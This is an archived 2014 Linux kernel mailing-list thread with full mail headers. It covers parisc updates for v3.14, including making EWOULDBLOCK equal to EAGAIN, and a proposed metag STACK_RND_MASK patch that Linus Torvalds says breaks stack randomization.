Content-Type: multipart/signed; boundary="nextPart1699067.sTjQBsOEt3"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1391210196 20095 80.91.229.3 (31 Jan 2014 23:16:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jan 2014 23:16:36 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 01 00:16:42 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W9NKE-00059H-4G
	for glpp-linux-parisc@plane.gmane.org; Sat, 01 Feb 2014 00:16:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932450AbaAaXQl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jan 2014 18:16:41 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:40411 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932271AbaAaXQl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jan 2014 18:16:41 -0500
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 7A2FE33F71F;
	Fri, 31 Jan 2014 23:16:40 +0000 (UTC)
User-Agent: KMail/4.12.1 (Linux/3.13.0; KDE/4.12.1; x86_64; ; )
In-Reply-To: <CAE2sS1jkGKLYFG_Wv560POhd9nvY4yA0o3M9KRi4HFz5DCd9-A@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5677
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5677>


--nextPart1699067.sTjQBsOEt3
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="us-ascii"

On Friday, January 31, 2014 12:24:10 Carlos O'Donell wrote:
> On Fri, Jan 31, 2014 at 11:53 AM, Helge Deller <deller@gmx.de> wrote:=

> > On 01/16/2014 05:17 PM, Guy Martin wrote:
> >> On Linux, only parisc uses a different value for EWOULDBLOCK which=

> >> causes a lot of troubles for applications not checking for both va=
lues.
> >> Since the hpux compat is long dead, make EWOULDBLOCK behave the sa=
me as
> >> all other architectures.
> >>=20
> >> Signed-off-by: Guy Martin  <gmsoft@tuxicoman.be>
> >=20
> > What's our final decision regarding this patch now?
> > Shall we target it for inclusion into 3.14 ?
> > If yes, I can include it with my next push request...
> >=20
> > Please speak up now...!
> >=20
> > Helge
> >=20
> >> ---
> >>=20
> >>  arch/parisc/include/uapi/asm/errno.h | 2 +-
> >>  1 file changed, 1 insertion(+), 1 deletion(-)
> >>=20
> >> diff --git a/arch/parisc/include/uapi/asm/errno.h
> >> b/arch/parisc/include/uapi/asm/errno.h index f3a8aa5..c0ae625 1006=
44
> >> --- a/arch/parisc/include/uapi/asm/errno.h
> >> +++ b/arch/parisc/include/uapi/asm/errno.h
> >> @@ -106,7 +106,7 @@
> >>=20
> >>  #define    EALREADY    244    /* Operation already in progress */=

> >>  #define    EINPROGRESS    245    /* Operation now in progress */
> >>=20
> >> -#define    EWOULDBLOCK    246    /* Operation would block (Linux =
returns
> >> EAGAIN) */ +#define    EWOULDBLOCK    EAGAIN    /* Operation would=
 block
> >> (Not HPUX compliant) */>>=20
> >>  #define    ENOTEMPTY    247    /* Directory not empty */
> >>  #define    ENAMETOOLONG    248    /* File name too long */
> >>  #define    ELOOP        249    /* Too many symbolic links encount=
ered */
>=20
> I think we should do it and fix the userspace fallout by rebuilding.

i'm not sure userspace will break ?  we've got two classes of code:
 - stuff that checks both EAGAIN & EWOULDBLOCK and treats them the same=

 - stuff that checks EAGAIN only (and probably should check both, but d=
oesn't)
both of those will continue to work after we change EWOULDBLOCK

i don't think there's really any code out there that only looks at EWOU=
LDBLOCK=20
(or does so differently from EAGAIN).  if there is, then they'd break. =
 but if=20
they never sh*t in the woods in the first place, then who cares if they=
 would=20
have made noise ? :)
=2Dmike
--nextPart1699067.sTjQBsOEt3
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iQIcBAABAgAGBQJS7C7cAAoJEEFjO5/oN/WBG3EQAMP5chblgHW/00wD0prbX/ah
I3Ke5AOkU6xRMl1gF4Ij9C61EG68sdRJceku6KqInvwiyELnm/E8bjYClFlco+T1
MS6033usbzz9t7ujXXL7CVwMbh3ulMMfkIynopB4WmyGcCJhEz+YWN1DsXVHJnT9
iJymUAJqz0Kw+z29SefmoeFMCcjmyLPr330t3fX1lNXnqTiBKkhawY21XX8xlBrc
EmOyyTqK3YDls+cA3j4jGGdiWy54pqTm/cE7ag+oM7Df3pGf/MDgH5G6SJBCKdT3
XBaPZmbBs16NM5ZXvmJSNOx3RG4kULtFlvB0flet7ESiSSTwasvrx/Xg5bFOqODk
qeQR+kQLTp0pDMBzIh6XQjhYfcYni9fTbvOKrL3fAbJH2nEPWUSCWPheuIN6joiG
I6qHRoKcZucTKRH0h0BUo9yTpIuBAi2bO7RJQTtEUA2IphEvYavoF43cYJcqyPRz
oW0ORUnP6HPv31wovhZmN6jDTFdkkiXTs5n4gGZug6RIurFaZCV4SN7N376ZtmEK
JWer/mY5tB1MqhFxYtfzNR7CBMeinSa7KhXP3+3BWODmc+ET9Gej0DPtJfb6dtnm
3JSnauwLsE8wb2yCSxXXySjmwfp4UyYR6WqvbR+rlygDEKe6WmMYWFeXyqcWCEW1
asjjFbZHgOctZ//g2uol
=FgKx
-----END PGP SIGNATURE-----

--nextPart1699067.sTjQBsOEt3--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for v3.14
Date: Sat, 1 Feb 2014 21:23:20 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <20140201202320.GA1313@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1391286202 27245 80.91.229.3 (1 Feb 2014 20:23:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Feb 2014 20:23:22 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 01 21:23:29 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W9h67-00080A-95
	for glpp-linux-parisc@plane.gmane.org; Sat, 01 Feb 2014 21:23:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932140AbaBAUXZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 Feb 2014 15:23:25 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:62605 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932083AbaBAUXY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 Feb 2014 15:23:24 -0500
Original-Received: from p100.box ([84.173.52.235]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0Lqi70-1VfZ0K39pi-00eICC for
 <linux-parisc@vger.kernel.org>; Sat, 01 Feb 2014 21:23:23 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:yvWF4Trw2R2u5dri7bD+eag8QK8NiJa8pHlxUlUIUO6ygeHC5Yi
 IylC9iyrbc18sUpgM56xIkE5Q2U86KuBE5DHAk0ewSx4qggnIdHtw7fHGOhAaNmBUbenExK
 JiPuIpjWiBEBR8Y+H2JpLjNUWZ+LqaHrwRu08LOk21hdRPL0vryP1dS4M4jRxp0hlIU+Ll6
 eGEzepOK7tJ4zAvCOfhnQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5678 gmane.linux.kernel:1638801
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5678>

Hi Linus,

please pull the latest updates for the parisc architecture from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-for-3.14

The three major changes in this patchset is a implementation for flexible
userspace memory maps, cache-flushing fixes (again), and a long-discussed ABI
change to make EWOULDBLOCK the same value as EAGAIN.

parisc has been the only platform where we had EWOULDBLOCK != EAGAIN to keep
HP-UX compatibility.  Since we will probably never implement full HP-UX
support, we prefer to drop this compatibility to make it easier for us with
Linux userspace programs which mostly never checked for both values.  We don't
expect major fall-outs because of this change, and if we face some, we will
simply rebuild the necessary applications in the debian archives.

The change to fs/exec.c only touches code which affects parisc since it's
inside a #ifdef CONFIG_STACK_GROWSUP section (and parisc is the only platform
where the stack grows upwards).

Thanks,
Helge

----------------------------------------------------------------
Guy Martin (1):
      parisc: Make EWOULDBLOCK be equal to EAGAIN on parisc

Helge Deller (5):
      parisc/sti_console: prefer Linux fonts over built-in ROM fonts
      parisc: fix cache-flushing
      parisc: add flexible mmap memory layout support
      parisc: wire up sched_setattr and sched_getattr
      parisc: convert uapi/asm/stat.h to use native types only

 arch/parisc/include/asm/cacheflush.h  |   2 -
 arch/parisc/include/asm/elf.h         |   7 +
 arch/parisc/include/asm/page.h        |   3 +-
 arch/parisc/include/asm/pgtable.h     |   1 +
 arch/parisc/include/asm/processor.h   |   2 +
 arch/parisc/include/asm/thread_info.h |  10 ++
 arch/parisc/include/uapi/asm/errno.h  |   2 +-
 arch/parisc/include/uapi/asm/stat.h   |  40 +++---
 arch/parisc/include/uapi/asm/unistd.h |   4 +-
 arch/parisc/kernel/cache.c            |  14 ++
 arch/parisc/kernel/process.c          |  21 ++-
 arch/parisc/kernel/sys_parisc.c       | 238 ++++++++++++++++++++++++++++------
 arch/parisc/kernel/syscall_table.S    |   2 +
 drivers/video/console/sticore.c       |   2 +-
 fs/exec.c                             |   3 +
 lib/fonts/Kconfig                     |   6 +-
 16 files changed, 284 insertions(+), 73 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Weinberger <richard.weinberger@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc updates for v3.14
Date: Sat, 1 Feb 2014 22:06:14 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <CAFLxGvy7vbKmQzyNvTbk35DX5cFGS99CE=nYE_Q0c=LVuD1x9A@mail.gmail.com>
References: <20140201202320.GA1313@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1391288802 21380 80.91.229.3 (1 Feb 2014 21:06:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Feb 2014 21:06:42 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 01 22:06:49 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W9hm4-0000RD-R7
	for glpp-linux-parisc@plane.gmane.org; Sat, 01 Feb 2014 22:06:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932200AbaBAVGP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 Feb 2014 16:06:15 -0500
Original-Received: from mail-oa0-f47.google.com ([209.85.219.47]:49854 "EHLO
	mail-oa0-f47.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932177AbaBAVGP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 Feb 2014 16:06:15 -0500
Original-Received: by mail-oa0-f47.google.com with SMTP id m1so6700547oag.34
        for <multiple recipients>; Sat, 01 Feb 2014 13:06:14 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=eVdkUujP/7Celjv4JRvWe5M5v4Q0VidFWiJDQu4B/gk=;
        b=EwaxTehOqPqFCsRds+4T8mULidmN9Fd+1FdrfLVH8HrL3aiYs6hl3UTamD/6W0O5xD
         juDEFzCFMcQiYkF3qV8mJOwHiHfjYbnq1Ayce+xEvB+WadNy5XfWqWTty93JwMDmUoUv
         wqzJj3+DCQ4QwrsG8ax0acyKvKfVjbNkY5ATjtrCeqk3xZKHoTdUdvp97FbflK0CGkjE
         h6ixfjcTOoVD1e0Y3AwqY2Rcsaha8SbbRECtdqHbAHosLJzNuQWz8L+0E8/dLa66DWCy
         O3UqckEtjQfrO8yhQ454njzERPWyvyuku++SCh2LKRWaGeE8gyXp7AvSIrRkGKlwZvBH
         3fCA==
X-Received: by 10.60.137.201 with SMTP id qk9mr23041260oeb.41.1391288774664;
 Sat, 01 Feb 2014 13:06:14 -0800 (PST)
Original-Received: by 10.76.180.202 with HTTP; Sat, 1 Feb 2014 13:06:14 -0800 (PST)
In-Reply-To: <20140201202320.GA1313@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5679 gmane.linux.kernel:1638807
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5679>

On Sat, Feb 1, 2014 at 9:23 PM, Helge Deller <deller@gmx.de> wrote:
> Hi Linus,
>
> please pull the latest updates for the parisc architecture from:
>
>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-for-3.14
>
> The three major changes in this patchset is a implementation for flexible
> userspace memory maps, cache-flushing fixes (again), and a long-discussed ABI
> change to make EWOULDBLOCK the same value as EAGAIN.
>
> parisc has been the only platform where we had EWOULDBLOCK != EAGAIN to keep
> HP-UX compatibility.  Since we will probably never implement full HP-UX
> support, we prefer to drop this compatibility to make it easier for us with
> Linux userspace programs which mostly never checked for both values.  We don't
> expect major fall-outs because of this change, and if we face some, we will
> simply rebuild the necessary applications in the debian archives.
>
> The change to fs/exec.c only touches code which affects parisc since it's
> inside a #ifdef CONFIG_STACK_GROWSUP section (and parisc is the only platform
> where the stack grows upwards).

What about metag?

> Thanks,
> Helge
>
> ----------------------------------------------------------------
> Guy Martin (1):
>       parisc: Make EWOULDBLOCK be equal to EAGAIN on parisc
>
> Helge Deller (5):
>       parisc/sti_console: prefer Linux fonts over built-in ROM fonts
>       parisc: fix cache-flushing
>       parisc: add flexible mmap memory layout support
>       parisc: wire up sched_setattr and sched_getattr
>       parisc: convert uapi/asm/stat.h to use native types only
>
>  arch/parisc/include/asm/cacheflush.h  |   2 -
>  arch/parisc/include/asm/elf.h         |   7 +
>  arch/parisc/include/asm/page.h        |   3 +-
>  arch/parisc/include/asm/pgtable.h     |   1 +
>  arch/parisc/include/asm/processor.h   |   2 +
>  arch/parisc/include/asm/thread_info.h |  10 ++
>  arch/parisc/include/uapi/asm/errno.h  |   2 +-
>  arch/parisc/include/uapi/asm/stat.h   |  40 +++---
>  arch/parisc/include/uapi/asm/unistd.h |   4 +-
>  arch/parisc/kernel/cache.c            |  14 ++
>  arch/parisc/kernel/process.c          |  21 ++-
>  arch/parisc/kernel/sys_parisc.c       | 238 ++++++++++++++++++++++++++++------
>  arch/parisc/kernel/syscall_table.S    |   2 +
>  drivers/video/console/sticore.c       |   2 +-
>  fs/exec.c                             |   3 +
>  lib/fonts/Kconfig                     |   6 +-
>  16 files changed, 284 insertions(+), 73 deletions(-)
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at  http://www.tux.org/lkml/



-- 
Thanks,
//richard
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc updates for v3.14
Date: Sun, 2 Feb 2014 12:15:52 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <20140202111552.GA2221@ls3530.box>
References: <20140201202320.GA1313@p100.box>
 <CAFLxGvy7vbKmQzyNvTbk35DX5cFGS99CE=nYE_Q0c=LVuD1x9A@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1391339757 28503 80.91.229.3 (2 Feb 2014 11:15:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Feb 2014 11:15:57 +0000 (UTC)
Cc: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
	Linus Torvalds <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
To: Richard Weinberger <richard.weinberger-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Linux Kernel <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Sun Feb 02 12:16:03 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1W9v1u-0002q7-RZ
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Sun, 02 Feb 2014 12:16:03 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1751157AbaBBLQB (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Sun, 2 Feb 2014 06:16:01 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:55223 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751019AbaBBLQA (ORCPT <rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Sun, 2 Feb 2014 06:16:00 -0500
Original-Received: from ls3530.box ([84.173.14.157]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0MLzXM-1WB21a1pt6-007jkJ for
 <linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>; Sun, 02 Feb 2014 12:15:58 +0100
Content-Disposition: inline
In-Reply-To: <CAFLxGvy7vbKmQzyNvTbk35DX5cFGS99CE=nYE_Q0c=LVuD1x9A-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:Wmkb/Js0mkY8FXiMhrZ2dvKOBRJgGL6XwZk/4H0Sl2ViQYns9tM
 1f8tp5dVqOTJ2WUp6Huy00cO61PZgQ7nblHCRKXeHmVq9VewIyf1otKSc/vxR19+L+ZTYhp
 4vF59opTeFZReKGgwYiHO8CnmUh0L0M1Yu8AfPLK5OQM+IXEzLjwQj2+3t1YStafasal7H7
 VtLzYEctCBsfhdyQlkT4Q==
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:112 gmane.linux.kernel:1638934 gmane.linux.ports.parisc:5680
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/112>

* Richard Weinberger <richard.weinberger-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>:
> On Sat, Feb 1, 2014 at 9:23 PM, Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org> wrote:
> > please pull the latest updates for the parisc architecture from:
> >
> >   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-for-3.14
> >
> > The three major changes in this patchset is a implementation for flexible
> > userspace memory maps, ....
> >
> > The change to fs/exec.c only touches code which affects parisc since it's
> > inside a #ifdef CONFIG_STACK_GROWSUP section (and parisc is the only platform
> > where the stack grows upwards).
> 
> What about metag?

Great! I didn't know that we now have another platform where the stack
grows upwards! Now we are not alone in this regard!

Anyway, the suggested & untested patch below should fix the metag arch
to cope which my changes to fs/exec.c  (unless the metag people want to
implement proper stack randomization too).  Either I can push it via the
parisc tree, or you can take it via the metag tree. Please let me know.


> > Helge Deller (5):
> >       parisc: add flexible mmap memory layout support
> > ...
> >  fs/exec.c                             |   3 +
(see:
http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/commit/?h=for-next&id=13de8ec38997357c9865a36a587439d9c5678932 )



[PATCH] metag: define STACK_RND_MASK as -1
 
Signed-off-by: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>

diff --git a/arch/metag/include/asm/elf.h b/arch/metag/include/asm/elf.h
index d2baf69..089e37a 100644
--- a/arch/metag/include/asm/elf.h
+++ b/arch/metag/include/asm/elf.h
@@ -100,7 +100,7 @@ typedef unsigned long elf_fpregset_t;
 
 #define ELF_PLATFORM  (NULL)
 
-#define STACK_RND_MASK (0)
+#define STACK_RND_MASK (-1)
 
 #ifdef CONFIG_METAG_USER_TCM
 


--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag
Subject: Re: [GIT PULL] parisc updates for v3.14
Date: Sun, 2 Feb 2014 11:28:22 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <CA+55aFyoR0DHsbJ8qaE5mEmveZwnxDpxapXZdxHZ-BJnE0CDLQ@mail.gmail.com>
References: <20140201202320.GA1313@p100.box>
	<CAFLxGvy7vbKmQzyNvTbk35DX5cFGS99CE=nYE_Q0c=LVuD1x9A@mail.gmail.com>
	<20140202111552.GA2221@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1391369319 20512 80.91.229.3 (2 Feb 2014 19:28:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Feb 2014 19:28:39 +0000 (UTC)
Cc: Richard Weinberger <richard.weinberger@gmail.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	James Hogan <james.hogan@imgtec.com>,
	linux-metag@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 02 20:28:46 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WA2ik-0006nx-9D
	for glpp-linux-parisc@plane.gmane.org; Sun, 02 Feb 2014 20:28:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752069AbaBBT2Y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Feb 2014 14:28:24 -0500
Original-Received: from mail-ve0-f173.google.com ([209.85.128.173]:33723 "EHLO
	mail-ve0-f173.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751940AbaBBT2X (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Feb 2014 14:28:23 -0500
Original-Received: by mail-ve0-f173.google.com with SMTP id oz11so4285529veb.4
        for <multiple recipients>; Sun, 02 Feb 2014 11:28:22 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=/nzc+kYClMYJaMQTyx1/R83Cj94blZQzFmPV31kWhmY=;
        b=jcbMrjQm/H4fVxcwsHellWJIToOJu6AO5q0eYY0v39+s50Qn8wLSLRTX8R35Azev4l
         CWToceimvnFaeBtKUsVaosC8XOQn5FscULT9cyOJntSVfK7l+FLbF2nF98I7fBm6rfDj
         zkvHc5Zbpwi3b1B7qimcalHAri/FvZFQC9HxWosr9DkpUidffJ+Zq6m8GGacuBiulr92
         GTYCkbc2kuDqeyQtmd4LtNdFmJJXle2lz5GB4i5OLAs710ehCAWhGZxS6aS3QNAWkkxp
         lnu3NBDs0qqvvVp2ZSc8Jdu/JnJgFWMDVIVjcKkNHGqy9NbD9hXXV2VeMR/lt/RwUa9J
         elhg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=/nzc+kYClMYJaMQTyx1/R83Cj94blZQzFmPV31kWhmY=;
        b=XBMbLPUg/Yt3hbVuIad8Q9/gotxkXV0vAnewuyzwG7HFaRWiNP8h7GJI974+sL4ewX
         B9e3lLb1ipcun0eIb0sQldLtHJanvThf7r8jNqRha76WjGwGLANUFp+rxwxRmk1fmk+o
         fPbj2MaGdk+eILN2Lb2O7NL1GO5hypsMAeSsI=
X-Received: by 10.220.11.141 with SMTP id t13mr373806vct.30.1391369302239;
 Sun, 02 Feb 2014 11:28:22 -0800 (PST)
Original-Received: by 10.220.13.2 with HTTP; Sun, 2 Feb 2014 11:28:22 -0800 (PST)
In-Reply-To: <20140202111552.GA2221@ls3530.box>
X-Google-Sender-Auth: -Yu4jEkWZtKVT2RLV_FIMvWvVIo
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5681 gmane.linux.kernel:1639006 gmane.linux.kernel.metag:113
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5681>

On Sun, Feb 2, 2014 at 3:15 AM, Helge Deller <deller@gmx.de> wrote:
>
> Anyway, the suggested & untested patch below should fix the metag arch
> to cope which my changes to fs/exec.c
> ...
> -#define STACK_RND_MASK (0)
> +#define STACK_RND_MASK (-1)

I don't think that works. That completely breaks randomize_stack_top().

